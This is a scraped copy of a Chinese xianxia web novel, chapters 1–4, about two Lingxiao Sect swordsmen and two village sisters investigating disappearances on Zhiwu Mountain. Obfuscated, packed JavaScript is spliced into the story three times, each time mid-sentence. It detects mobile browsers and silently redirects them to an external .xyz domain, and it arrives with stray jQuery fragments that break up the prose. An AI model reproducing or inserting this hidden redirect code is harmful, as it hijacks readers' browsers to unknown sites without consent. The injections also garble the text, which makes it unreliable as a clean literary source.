《翎月行》
1. 惊蛰
在这个世界上曾有过无比辉煌的修仙时代,那是在七百年前,天才辈出,诸多修仙门派百花齐放。然而一只来历不明的凶兽为祸人间,当时为首的几大宗门与一名散修联手封印了凶兽。
但多方势力也因此损伤惨重,修仙之道渐渐没落,至今正好七百年。
而今世上唯有三方势力统领江湖,分别是以剑修为主的灵霄宗、以及震云派和琼心门。
惊蛰之夜,贺今羽和景怀卿都已接连几日没有好好休息过了,林中雷雨交加,大风作乱。两人为了避雨来到了山中的一座小庙,这庙紧闭着门,二人只能在檐下躲雨。
惊蛰,对他们都有深刻的意义。那是灵霄宗创立之日,他们一个是天下第一剑宗灵霄宗的少宗主、另一个是宗主唯一一个亲传弟子。
往年此时,景怀卿都带领着那些入门三年的弟子们下山历练一月,在惊蛰日的前些天回到宗门,接着紧锣密鼓地筹备新一批即将入门的新弟子们的入门试炼。
“三年一度的招新,今年却推迟了些,师尊一定怒极了。”景怀卿倚着小庙门口的柱子,望着檐外声势浩大的暴雨,满怀心事。
他在灵霄宗长大,作为弃婴被灵霄宗一位长老捡到,承蒙宗主不弃,收他为徒。好在他也足够争气,从未让师尊失望过一星半点。
这是第一次。
他作为领队,竟然让所有弟子在他眼皮底下失踪了,至今未有下落。
一旁的贺今羽无心去体会他的感受,他向来不参与弟子试炼一务,此次下山另有任务待他处理。
雷声轰鸣,掩盖了太多的声响,那些蛰伏一整个冬日的虫兽们在春雷之中苏醒,夜里的止吴山并不安全。
“有妖气。”贺今羽的手紧握着白羽剑,用只有两人能听见的声音警醒道。
景怀卿立刻卸下全部松懈,装备起每一位出色剑修都有的剑意,他的腰间佩着一柄玉质的长剑,看上去很是温润,却暗藏杀意,正如他本人一样。
只见电光一闪,两人的眼睛微微失明了一瞬,一柄无形之剑劈开这空气,直直刺向了景怀卿。
他反应迅速,一个转身就躲开了这阵剑意。
“剑修?来者何人?”
在那破风而来的剑意中,两人都没有感受到妖气,想必定是同修。而这天下凡是剑修,必定会卖灵霄宗一个面子。
“你是谁?”
一片漆黑中,传来一声清脆的女声,她并不回答景怀卿的问题,而是反问道。
今夜没有月光,贺今羽和他都看不清来人模样,但依旧保持着警惕,并未因为她是女子而松懈。
“璃儿,别闹。”与方才的女声不同的一道温柔声音出现,话语中带了几分无奈,“家妹顽皮,见到同修就起了切磋之意,惊扰二位了。”
原来她们方才就在一旁,借着闪电的光看见了罗平庙里有两个不认识的剑修,不等祝来月反应,妹妹未璃就冲了过去,嘴里说着:“让我试试他们的功夫。”
“在下灵霄宗景怀卿,不知两位身属何门何派?”他在不见五指的黑夜中抱了拳,出于礼节,先介绍了自己。
贺今羽保持着沉默,白羽剑依旧被他紧紧攥在手上。
谁知此时雷光一闪,来人的身影被他们看清,其中一个长着圆脸杏眼的小姑娘满脸兴奋地从原地蹦了起来,嘴巴开开合合,说的话却被贯耳的雷声淹没了。
而她身后的那名女子风姿绰约,面颊如桃色般粉红,眉眼似水波柔和,她微微地笑着,而那笑容却让人如同春风拂面,霎时忘了这样恶劣的天气。
祝未璃刚从兴奋中回过神来,才发现眼前的两人都有出神之意,连忙掏出随身携带的小灯,以灵力使其发出光亮。
接着她走到他们面前,道:“景大侠,真的是你啊!你知道吗?两年前争鸣大会你赢得了第三的成绩时我就特别崇拜你了。”
争鸣大会是江湖中历来就有的传统比赛,每十年举行一次,以此在争鸣榜上进行排名,参与者需是十五岁以上、三十岁以下的修炼者。上一次的争鸣大会正是两年前,景怀卿取得第三名的成就。
而争鸣榜第一——也就是争鸣大赛的魁首,不是别人,正是十七岁的贺今羽。
不过此时祝未璃还未认出他的身份,他并未穿着门中服饰,而是一身便衣,少宗主的令牌也没有挂在身上。所以祝未璃围着景怀卿叽叽喳喳地兴奋了好一阵子。
直到祝来月开口时,称呼了贺今羽的名字:“贺少宗主,景大侠,想不到在这山野之间能遇见二位,实在荣幸。”
贺今羽不与她们废话,直截了当地问道:“报上名来。”
“我们并非江湖之人,就住在山脚的村中。”接着,祝来月简单介绍了自己和妹妹的名字。
“谎话连篇。”贺今羽不带一丝感情地说道。
景怀卿立刻打圆场:“两位姑娘若真是出身乡野,为何深夜雷雨却还要上山呢?”
他将语气尽量放得亲切,又不失了风度,显然惯于同人斡旋,将态度摆得不高不低,“还有这位姑娘,手中无剑却有剑意,便是我门中弟子也鲜有将剑意凝聚至此步的,想必尊师定是位隐姓埋名的豪杰。”
她们听了这话反倒都笑了,祝未璃道:“景大侠,我真的没有师尊,此生唯一想加入的门派就是灵霄宗,成为天下第一的剑侠。”她言辞恳切,实在不像谎言。
她停顿了会儿,又解释了一句:“我的剑法都是姐姐从书上看来再教我的。”
即使被他们误会,她们也并无恼意,倒不如说这是对她们的一种认可。
祝来月接着说道:“我们前来是为了查案。”
“深夜查案?”贺今羽反问,他并不相信二人的说辞,她们身上依然疑点重重。
祝来月轻笑,自然明白这话没有什么说服力,“二位有所不知,我同妹妹如此惯了,自然偶尔忽视了时辰与气候。”
“是啊是啊,只要我想什么时候上山,姐姐都会陪着我的,而且有我在,不管什么妖魔鬼怪都伤害不了姐姐。”她附和着姐姐的发言,眼底皆是对自己实力的自信。
而她也确实有自信的资本。
与贺今羽的警惕不同的是,景怀卿决定相信她们的说辞,追问
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840322|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她们是为了查什么案而来。
两人便将来龙去脉一一说明。原来在她们居住的村中,有一位伯伯和她们家往来频繁,关系也不错,祝来月她们称呼他为冯伯。
冯伯家中开了一家食肆,今日白天却未营业,两人便去问了缘由。才得知冯伯的弟弟昨日上山拾柴火竟没回来。
冯家人急得像热锅上的蚂蚁,往山上找了好几回,只找到他平日用的一块汗巾子。
祝未璃当即便提议要帮忙,然而冯伯受祝家父母所托,在他们不在家这段时日,绝不能让她们做什么危险之事,便被冯伯找理由婉拒了。
可无论是一向勇于助人的祝未璃,还是对未知之事极有兴趣的祝来月都不可能简单放弃。
祝来月取出从冯伯那盗来的失踪之人的汗巾,用了在书上见过的追踪术,根据汗巾上残留的气息一路追到了罗平庙外。
若是再晚些时日,恐怕那些气息就会散去,也就查不出任何东西了。
所以二人才深夜冒雨追踪,这才遇见了贺今羽他们。
见两人说得有头有尾,贺今羽决定暂且信任一下她们。
这时,祝来月取出一枚颜色特殊的羽毛,交予二人查看。那羽毛整体呈现出靛蓝之色,其中掺杂了一些赤红色的短羽,很是罕见,绝非寻常禽类之羽。
她说道:“这是我们在路上拾到的羽毛,我暂时想不起它的来处,不知二位可有见过?”
贺今羽接过羽毛,转头看向景怀卿,后者连忙想起什么似的,从一个袋中取出了几乎一模一样的一枚蓝赤色羽毛。
景怀卿将师弟妹们皆在止吴山上失踪一事简单叙述了一回,最后说,在他们失踪之地捡到了同样的羽毛。
“看来我们要查的恐怕是一件案。”祝来月总结道。
祝来月看着紧闭的庙门,与几人商议一同进去瞧瞧。四人一起翻过了大门,进到庙宇中的前院,里头的庙堂也是同样紧闭着大门。
罗平庙一直由一位常年住在山中的盲女打理,不收半分报酬。
若是破坏了门锁,定然会使盲女心生苦恼。祝来月不愿对这个生活本就不便的善良女子增添什么麻烦,只是同众人在外探查了一番气息,发觉既无妖气,也没有人的踪迹,只能暂时放弃,待到明日罗平庙开门再来一探究竟。
“此时夜深,二位不妨来我家歇一夜,明日再做打算。”
眼下也没有其他选择,两人便跟着她们下了山。
在路上,景怀卿对庙中供奉的神像起了兴趣,方才他从门缝之中窥见一二,这庙中供奉的并非人形神像,而是一只有着怪异形状的鸟。
那只鸟有着四眼三足,神态凶狠,比起神鸟更像是某种妖邪,在宗门也从未听说过世上有这样的怪鸟。
祝来月解释道:“此鸟是止吴山传闻中的罗平鸟,四眼三足,主宰着此地祸福,我们供奉着它,它便庇佑我们。但在传说中,此鸟虽然趋吉避凶很是灵验,但若真见到此鸟,必有大灾降身。”
她说完后停顿了一下,接着说道:“但这只是老人们常讲的传说,谁也没有亲眼见过它。”
2. 盲女
祝家做着桃园的生意,在村里是数一数二的富裕人家。恰逢春日,桃子即将成熟之时,父母去了外地洽谈生意。
据村民说,祝家那片桃园的土地原先极为贫瘠,桃树一副半死不活的模样,即使到了丰收之季,那一大片桃树上结的桃子也是屈指可数,而且很是难吃。祝家父母便过着有上顿没下顿的穷苦日子。
直到十七年前有了祝来月之后,桃园竟然焕发生机,待到次年春日,桃园遍结果实,祝家也渐渐富裕起来。
故此,村里人都坚信祝来月是神仙保佑的极好的命格,小的时候便得众人喜爱。长大后,她愈发标志的外在更是讨人喜欢,也便多了许多媒人前来说亲的事。
但祝家父母向来最尊重女儿的意愿,只要祝来月无意,无论对方是何等家世、何等相貌才能,都不能打动他们。
祝来月收拾了两间客房给他们分别住下。
夜里无眠,春夜依然有几分冬日的余寒,尤其在这样的雨夜,那几分寒意随风直往衣襟里钻,祝来月拢衣,取了油纸伞,捧着一盏小灯,走至院外。
一人,身穿玄色衣衫,手握锋芒毕露的白羽剑,在雨夜凝聚了刺骨的剑意,每一招都气势逼人。那些雨点似乎避着他落下似的,他身上竟然未湿半分。
祝来月见他果然在这里练剑,不禁会心一笑。
贺今羽注意到来人,迅速收剑立定,不咸不淡地说道:“祝姑娘还不安寝?”
她知道他依然对她们保持着警惕,“听闻灵霄宗少宗主不仅天资过人,更是比旁人刻苦百倍千倍,果然日日不忘练剑。”此话虽像是恭维,却发自内心。
贺今羽有个疑惑,在山上庙外她说出自己的身份时便开始有了,此刻他将这个疑惑说出口来:“你是如何知道我的身份的?”
“少宗主的佩剑是灵霄宗至宝,我曾在古籍上见过,所以认得。起初看不清楚,便不敢确信,直到景大侠自报家门,我想着这猜测是十拿九稳了。”
他停下剑法时,那些雨点又落在了他的身上,雨势不小,很快便打湿了他的发髻和衣襟。
祝来月向他走了几步,将纸伞分了一半给他,使他不必被雨水所扰。
他只看了她一眼,依旧冷冷地说道:“不必。”话音未落,他走出了伞下,往自己住的房间走去。
祝来月有个好性子,也不恼怒,只是微微摇头,感叹这传闻说的果然不错。
灵霄宗少宗主,既有天赋又刻苦,唯一可惜的是为人太过高傲,引得不少江湖中人不满。
其实还有一点是祝来月并不知道的小道传闻:灵霄宗宗主——也就是贺今羽的父亲——常常因此责罚贺今羽,责怪他不懂得为人处世,难堪宗门大任。
反观景怀卿则是有进有退,极有分寸之人,更像是一个领导天下第一宗的接班人选。
翌日一早,四人便准备着出发了。
止吴山并不算高,他们很快便来到了罗平庙外,发现庙宇仍然紧闭着大门,四人扑了个空。可从前她们偶尔来庙中上香时,罗平庙都是一早就开了门的,难道是盲女眼盲之后行动不便,所以来的时间晚了些?
打理庙宇的盲女名叫卫平,她并不是生来就不可视物的,而是前些年忽然便看不见了。
说来也讽刺,她日日做着庙中的工作,并不向任何人索取半分报酬,大多时候也只能吃些山上掘来的野菜度日,实在可以称得上无私了,却得到一个眼盲的下场。
家中还有一个年迈的老母亲,虽非生母,但感情甚笃,她们二人相依为命,村民中有些乐于助人的,偶尔也会去帮着照料卫婆。祝家便是其中一户人家。
“有了,我们分头行动,姐姐你在这里等我,我去卫姐姐家里找她。”祝未璃提议道,她曾经跟着爹娘去过卫平的家中,所以知道往哪里走。
为了避免和卫平错过,他们决定留人在这里等候。但山中有着若有似无的妖气,景怀卿说道单独行动过于危险,所以便由他和祝未璃一起去卫平的家中找她。而贺今羽和祝来月则是在原地等候。
他们朝着卫家的方向走去,走着走着,竟然在地上发现了一块木质的令牌,上面刻着“灵霄宗”三个字,还镌刻着一只仙鹤。
景怀卿拾起这枚熟悉无比的令牌,道:“这是我门中鹤栖一脉弟子的令牌。”
灵霄宗总分四脉:鹤栖主修剑道,幽篁里深谙乐理、音攻之道,浮玉皆为阵修,天工负责炼器。
两人提起十二分精神,加快了前进的步伐。没走多远就接连发现了几枚相似的令牌,其中也有其余三脉弟子的令牌,像是那些弟子故意落在路上给人引路而为。
他将令牌一一收好,感叹这群师弟妹们总算不算太给灵霄宗丢人。想必失踪的那些师弟妹们也在附近。
可这分明是去盲女家的路,难道只是巧合吗?
景怀卿心生疑惑,问道:“这个方向上还有别的人家住着吗?”
祝未璃立刻回答道:“没有,大家都住在山下的村子里,卫姐姐她们住在山上似乎是有什么不得已的理由的。”
“什么理由?”
“这个就不知道了。”祝未璃无法解答,毕竟这是许多年前的事,卫家举家搬到山上时,祝未璃还没出生,村中老人也并不提起这件往事。
两人决定先沿着令牌所指的方向小心前进。但很快不知为何,他们就一直在原地兜圈子似的,无法再前进半分。
景怀卿立刻意识到不对,“不好,这里有阵法。”
然而两人都不善于此道,祝未璃紧张道:“那怎么办?要是姐姐在就好了。”
出于对未知之事物的好奇心,祝来月四处搜罗了不少书籍,大多数阵法她都了解。也从那些书籍中学了些剑法之道,可惜她本人无论怎么修炼都只有微薄的一些灵力,更不谈什么剑意了。
倒是祝未璃在修炼上天赋异禀。
景怀卿握紧了手中的玉剑,一边小心地四处张望,寻找破解此阵的生门,一边护着祝未璃。他忽然想起师尊教过他们三种一般情况下都适用的破阵之法:
一是了解五行八卦,找到阵眼便可破除此阵。
二是武力破除。
想到这里,他与祝未璃联手施出剑招,剑气朝着四面八方而去,使得尘土与落叶飞扬,还斩断了几棵树木
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840323|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
可是,他们越是使用灵力,阵中便越是有一种无形的压力向他们逼去。
方才那些招式已经尽了二人的全力,却适得其反。
“看来只有用第三种方法了。”景怀卿沉静道,“祝姑娘,请你跟紧我。”
闻言,祝未璃立马按照他的指示紧跟在他身后。
景怀卿抚摸了一下与他相伴多年的玉剑,使出了鹤栖剑法一篇的第三式:纷纷柳絮。
只见他身形比以往更加轻盈,仿若春风,而剑气随着他反复舞动显得像是风中之柳絮一般柔和。
远看上去,他像是放弃了挣扎一般做着舞剑的动作,但若细细观察,那些剑气中的杀意丝毫不减,比之更甚。
那些剑气依附着阵中之势全都向着一个方向流去:阵眼!
景怀卿大喝一声:“找到了!”
第三种方法,便是使用纷纷柳絮随势而舞的特点找到阵眼,然后破除它即可。
景怀卿立刻转换剑招,剑气呼啸而过,直直刺向阵眼。在强劲的剑意之下,阵眼应声而破!
此法看似简单,但这世上能将纷纷柳絮熟练运用至此地步的人唯有景怀卿一人,连贺今羽都无法做到。景怀卿也是整个鹤栖一脉将鹤栖剑法一篇练至炉火纯青的第一人。
鹤栖剑法拢共七式,剑意皆取自春时的烂漫生机,是看似温和却威力无比的剑法,更是世上最顶尖的剑法之一。
但贺今羽并不喜欢这样柔和的剑法,觉得太费时间、麻烦,在幼时便创造了鹤栖剑法二篇,也在十七岁那年利用自创的剑法于争鸣大会上一举夺魁,证明了自己的剑法的实力,原先的鹤栖剑法就成了鹤栖剑法一篇。
贺今羽这边,在景怀卿他们离开后一阵,两人却看见一个女子手里拄了一根树棍往庙宇走来,她的眼上缚了一块粗布。
走近时,盲女似乎是感受到他们的气息,皱了皱眉毛,道:“是有人在这里吗?”
得到肯定的回复后,盲女又问:“你们是来拜神鸟的吗?”
祝来月先应道:“是的,卫姐姐。近日山中有人失踪,你要小心些,这几日不如不要来庙里了。”她想着妹妹他们和卫平走的也许不是同一条路,这才错过了。
盲女很快便答道:“不妨事,走惯了山路,一日不来还有些不自在。”说着,她取出身上带着的钥匙,一一打开了罗平庙的大门和堂门。
走近看时,那座神鸟的石像显得更加栩栩如生,给人一种威压。两人一进来就四处查看,也不烧香,盲女没有闻到香料的味道,逐渐感到怀疑。
“你们究竟是来做什么的?”
为了避免使盲女疑心,祝来月装模作样地取来香火,对着那座活灵活现的罗平鸟的石像拜了三拜,看上去很是虔诚,连看得见的人都会被她骗过,更别说患有眼疾的卫平。
见她终于不再皱着眉毛、一副怀疑的神情,两人也算放下心来。想到盲人的听觉一般都十分灵敏,两人只能以眼神交流接下来的行动。
突然,在一旁擦拭门框的卫平突然跪倒在地,扑哧一声吐了一地血,粗布遮住了她的眼睛,看不出她的神色。
3. 切磋
祝来月立刻上前,要去将她搀扶起来。
谁知她反应出奇的大,竟一把就将祝来月推开了,所有人都为她怪异的举动愣了一瞬,包括她自己。
但很快,盲女就反应过来,仓皇地说了声抱歉,接着,她说道:“我想起家中还有些急事,失陪了,两位请自便吧。”
说完,不等两人回答,她就三步并作两步地走出了罗平庙,看上去真有急事似的。
祝来月和贺今羽对视一眼,前者说道:“我们跟上去。”
他们出了罗平庙的大门,却发现前方已经没有任何人影了。
一个盲女,再怎么熟悉山路,这走的也太快了些吧?祝来月不禁加重了内心的怀疑。好在她也还记得去盲女家的路,她依着记忆中的方向和贺今羽一起往那里赶去。
且说景怀卿那边刚破了阵法,走了没几步就看见了盲女所居住的草屋,二人加快了步伐。
草屋中似乎没有人,他们叩门几声都未见有人回应。
“奇怪,难道卫姐姐不在家吗?”祝未璃不禁疑惑。
景怀卿仍然在想那落了一地的令牌和山野里极其突兀的迷阵,说道:“这草屋离阵法如此之近,实在蹊跷。”
话音刚落,只见一个头发花白的老妪从草屋的小门冲了出来,她身材瘦削,面色发黑,像是被病痛折磨多时之人。
可她的手中却舞着一把大扫帚,嘴里还骂骂咧咧地喊道:“你们是什么人!不许到我家来!快滚出去!”
尽管两人都身手不错,但因没有防备,都结结实实地挨了几下打。他们连忙退了出去,离开篱笆围起来的小院时,老妪才没有追着打他们。
祝未璃和他一边跑着,一边说着:“我想起来近年村里没人来卫姐姐家里帮忙的理由了。卫婆生了一场病,记不得人了,逢人就打,爹娘和村里的婶婶叔叔们便再没来过了。”
两人跑了一阵子,就遇上了紧赶着追上来的祝来月和贺今羽他们,未璃先开口喊了声姐姐,“你们怎么也来了?我还想去找你们说卫姐姐不在家呢。”
祝来月得知两人已经去过卫家了,问道:“你们没看到卫平吗?”
祝未璃摇摇头。难道又是走了不同的路?还是说卫平回家只是个幌子,她其实根本没回家。祝来月不再思考下去,决定亲自去卫家一看究竟。
在那之前,祝未璃和景怀卿他们将在草屋附近拾到弟子们的令牌以及陷入迷阵的事也说给了两人。祝来月听完后若有所思,并未言语。
四人聚齐,一起再次前往草屋。
这一回,祝来月敲了门,应门的是卫平,她出声问道:“谁?”
“是我,卫姐姐,我们担心你出事,就跟来看看。”祝来月解释道。
盲女并没有邀请他们进去坐坐的意思,站在门口说道:“家母身子不好,我方才想起今日煎了药还未服侍她用下,着急了些。几位若是没有别的事,就请回吧。”
她的言下之意很明显。
祝来月见她如此态度,也不愿意再做这个不速之客,便带着几人离开了草屋。
路上,贺今羽对她这个决定表示不满,道:“此盲女可疑。”
祝来月点点头,赞同地说道:“没错,方才我仔细打量了她屋内的陈设,发现她的架子上摆了不少书籍,只是看不清书名,不过看样子那些书籍上并未落灰,想是常常翻阅的。”
这时,祝未璃觉得很是困惑:“可是卫姐姐看不见似乎已经有了四五年了,卫婆得怪病也有四五年了呀?”
她们之中无论是不可视物的卫平还是心智不清的卫婆都不是会看书的人,草屋面积不大,一眼便能纵观整个格局,在这样狭窄的屋子里摆这么多她们用不上的书籍实在是可疑。
祝来月接着说道:“还有一点,她说回来给卫婆喂药,可我却没闻到半点药香,倒是有一种……”她停顿了,似乎在辨认方才闻到的味道。
这时,沉默不语的贺今羽突然接道:“血腥气。”
他的话一出,所有人都沉默下来。
贺今羽再熟悉不过这种气味了。他从会走路起就开始练剑,身上大大小小的伤不下千道,而他留在对手身上的伤痕更是数不胜数。
刚才盲女一开门他就闻到了这种味道——血液的腥气,这也是他怀疑盲女最重要的原因。
但祝来月离开那里也是有原因的,她想着再去一趟罗平庙,毕竟最初时,她用追踪术到达的地方就是罗平庙。
可她还没来得及说出口,眼前就出现了两个让她意想不到的人。
“你们俩在这里干什么?”祝家父母突然出现,眼神犀利地打量着姐妹两个,话音刚落,娘就上前扯了祝未璃的耳朵,“又带着你姐姐调皮!跟我回去!”
她的言语中有不容置疑的威严,不知为何,不仅仅是祝家姐妹,就连贺今羽他们都不自觉地跟着下了山。
祝未璃满含怨念地走在最前头,嘴里嘟囔着:“我又不是小孩子了,当着别人的面还扯我耳朵。”
这句抱怨自然逃不过祝母的耳朵,她紧走了两步,到了小女儿的身边,一把搂住了她,一反刚才威严的模样,显得十分温柔:“那娘不是担心你们两个吗?要不是你冯伯告诉我们,我们刚回来还不知道你们两个去了哪里。再说了,娘又没用力扯,疼吗?”
原来是冯伯告密。祝未璃心想。虽然娘扯得并不疼,但在自己崇拜的两个大侠面前丢脸还是很让她委屈,她不理会娘的示好,走得更快了些。
祝母看着又走到前面甩开了她的小女儿的背影,顿时皱了眉,无奈地叹息道:“这孩子。”
在路上,祝来月向父母介绍了贺今羽和景怀卿的身份,但娘和爹似乎有些怀疑,回到家之后,还和祝来月私下聊了几句。
“从前你们说要修仙,要什么什么书籍,娘和爹都满足你们,但这世上哪有什么仙人什么妖魔鬼怪?他们莫不是骗子?”娘和爹一个切菜,一个烧灶热锅,对祝来月说道。
这也正常,修仙之道自古也只有那些开了灵根、又有仙缘得知修仙门派的人才知晓,其余普通百姓都只当那些是传说故事,并不当真。
尤其自七百年前修仙门派没落之后,更是没人知道了。
而祝来月获得的那些有关修仙的书籍,也是得益于娘和爹常常外出走生意,偶然得到的书籍,再后来便是祝来月主动要求他们能带一些这种书籍回来,这才让她们了解了修仙之道。
但娘爹只当是她们看的话本之流,并没当回事。
“娘,这世上真有仙人,妹妹的剑法你们也瞧过的。”
“那不是闹着玩的吗?”他们回忆起从前未璃兴高采烈地要给他们展示新学的剑法,未璃隔空劈开了一根柴,还以为是两姐妹学了什么戏法来使他们高兴的。
这时,祝未璃突然走进庖屋,打断正在忙活的娘和爹,大声说道:“原来你们一直不相信我!我非要你们看看我和姐姐说的都是真的。”说罢,她就要来拉着娘和爹往屋外去。
爹才刚丢了根柴火到灶台里,连忙喊停:“诶诶诶,小璃儿,你要证明也等吃完饭好吗?你娘和爹赶了几天路,一直啃干粮,都要饿坏了。”
但祝未璃还是很想向他们证明一下,十分执着,最终还是祝来月出面跟着劝了几句,未璃才暂时罢休。
饭桌上,祝家夫妇把准备好的饭菜端
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840324|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了上来,可以说是色香味俱全,但一桌围着坐了六个人都各怀心事,整个气氛都十分诡异。
娘先给祝来月夹了一筷子菜,然后堆满笑意看着贺今羽和景怀卿两个人,道:“两位公子,千万不要客气,多吃点。”
爹跟着附和,“对对对,多吃点。两位公子一表人才,往后可别再做诓骗小姑娘的事儿了。”
娘瞪了一眼爹,在他耳边轻声斥责道:“不会说话别说。”仿佛是责怪他说得太过直白了,她又朝向贺今羽他们,“别介意,他人就这样,没什么恶意的。”
景怀卿大致了解了他们的怀疑,不禁笑了笑:“伯母多虑了,您请我们吃饭在下已经感激不尽了。”
贺今羽倒是没什么反应,自顾自地吃着饭。
“爹,你都说的什么呀?我决定了,一会我要和景大哥切磋一番,到时候让你们看看我的本事,比试结束以后,我要宣布一件大事!”
祝未璃意气风发地说道,接着转向景怀卿,笑意盈盈地问他:“景大哥,好不好呀?”
景怀卿愣了愣,对着面前满怀期待的小姑娘,竟然下意识地点点头。
饭后,几人来到院外,在此之前,祝未璃特意去拿了浣衣用的木棍,当作剑用。
景怀卿未曾想到她如此痴迷于剑法竟连一把普通的木剑都没有,对此,祝未璃解释是父母不喜欢她舞刀弄剑的,觉得危险。
景怀卿想着用他自己的玉剑对祝未璃未免太不公平,提出要换同她一样的木棍才好,却被祝未璃坚决拒绝了。
“那怎么行?我还想看景大哥你用玉剑施展鹤栖剑法呢。”
见她态度强硬,景怀卿也不好再坚持换剑,只是各退一步,“好,但我就不拔剑鞘了,否则容易误伤了你。”
尽管祝未璃觉得有几分遗憾,但还是同意了景怀卿的决定。
一旁一直沉默的贺今羽也起了几分兴趣,他与景怀卿一同长大,自然比任何人都明白他是个对所有事都极其认真的人。
两人相对而立,景怀卿依旧从容沉稳地站着,根本不像一个即将要对决的人。
祝未璃轻轻点地,向前飞奔而去,那速度绝非寻常乡野丫头会有的。顷刻之间她便来到了景怀卿的面前,手中微微施力,那根木棍就冲着他直直刺去。
景怀卿也不甘示弱,仅仅一个呼吸,他一个转身便从那带了十分实力的杀招中躲开。
在旁观的祝来月不禁也屏住了呼吸,轻轻说道:“千里快哉风。”
千里快哉风是灵霄宗最出名的身法,几乎全部弟子都是修习的这部身法,景怀卿和贺今羽也不例外。
从前听过三两句江湖中的闲言碎语,说是只有景怀卿和贺今羽两人已经悟到了千里快哉风的精髓,寻常对决根本无法伤到这两人分毫。
据传闻,贺今羽的身法更是两者中的上乘,景怀卿的身法已经这样出神入化了,难以想象少宗主究竟到了什么境界。
他的身形十分轻盈,在祝未璃的身边迅速躲避她的连续不断的剑招,似乎还有十足的余力。
她更加认真,紧紧握着那根木棍,以最快的速度进攻着,但从未刺中一次,这让她有些着急,“景大哥你别躲了,有本事快出招。”
她挑衅了一句,希望能从中找到他的破绽。
景怀卿如她所愿般地举起了并未出鞘的玉剑。
他向前刺出了第一招,这一招如同春风拂面般柔和,似乎没有半分剑气。
只有灵霄宗的人才知道,他用的是鹤栖剑法一篇的第一式:笑春风。
这也是景怀卿在江湖中的成名剑招,以最柔和的剑意使敌人放松警惕,然后败得猝不及防。
4. 夜探
剑法一出,起初似乎春风而过,甚至能感受到其中温润的暖意,祝未璃自然听说过这招的威力。
她不敢小觑,拼尽全力闪躲开这道看起来微不足道的剑意。
笑春风难得的落了空,它向前掠去。种在祝家院外的一棵杨柳,春日刚开始冒新芽,还有着漂亮的青绿色,下一秒却被这股温温柔柔的剑意刺开成了两半。
冒着新芽的杨柳应声裂开,它的两半分别倒在了地上。
这巨大的声响简直吓坏了还只当儿戏看待的祝家父母,爹连连哎哟了好几声,想要上前去制止这场危险对决,却被另一个女儿拦住了。
“爹,璃儿真的长大了,她会成为一个极厉害的剑侠,剑侠之间的对决不容任何人干涉。”
她只是盯着堪堪躲过那一招后气喘吁吁的小妹,可她的眼神分明露出了欣慰和期待。
贺今羽不禁看向了说出这番话的她,在这之前,他一直觉得她只是一个貌美又有些博学的普通女子。
对决中的两人无暇顾及看客的评语,他们中无论是谁都打起了十万分的精神来看待这场相差悬殊的对决。
是的,即使相差悬殊。
即使你景怀卿是争鸣榜第三的大侠又如何?祝未璃绝不怕任何人。她以绝对的敬佩和重视对待每一个对手,除此之外没有任何多余的惧意。
今岁,祝未璃十岁有六,正是及笄之年,虽然在江湖中籍籍无名,在争鸣榜上更是没有名次。
但她总有一天会成为整个江湖都不可小觑的第一剑侠,正如七百年前那个让所有江湖势力都忌惮的散修剑侠戚少雁一样。
祝未璃站直了身躯,此刻那木棍在她的手中仿佛不再只是木棍,而是一柄无比锋利的剑。
剑意已成。
恍惚之间,景怀卿竟然看见了许多纷飞振翅的美丽蝶影,不禁略微陶醉了三分,但他很快反应过来,此时祝未璃的木棍已经距离他不足半分,眼见就要刺中了他。
说时迟那时快,景怀卿一点地,在空中翻转了一个大圈,那柄清透的玉剑在正午时分的阳光下熠熠生辉,晃眼夺目。
景怀卿立定之后,一抱拳,对他的对手投以比之前更加敬重的目光,道:“祝姑娘身手不凡,在下钦佩。”同时,也喊停了这场比试,毕竟祝未璃的最初目的已经达到。
祝未璃不经任何宗门培养训练就已经有了自己的剑意,除了贺今羽和他自己以外,绝对是放眼整个江湖都找不出第二个的剑道天才。
这样的天才,他实在是很想请她加入灵霄宗。
“祝姑娘,方才你用的剑招是什么?”景怀卿问道。
祝未璃满眼自信,嘴角咧开,道:“是我自创的招式,不错吧?我想自创一套剑法,名字嘛,暂时还没想好。”
景怀卿回忆切磋时她的剑法的细节,沉吟半晌,提议道:“方才我观此式仿佛蝶舞翩翩,十分瑰奇,此招不妨就叫蝶影吧?”
她听了,立马兴奋地拍拍手,连声称好,“那我自创的剑法第一式就叫蝶影!景大哥,你真是天才。”
经过此事之后,祝家父母都开始正视女儿的决心,也包括了她在比试之后宣布的一个决定:
“我要加入灵霄宗,成为全天下最厉害的剑侠。”
关于小妹的梦想,祝来月向来是最清楚的那个人,她并不觉得意外,只是微笑着看向自信满满的璃儿。
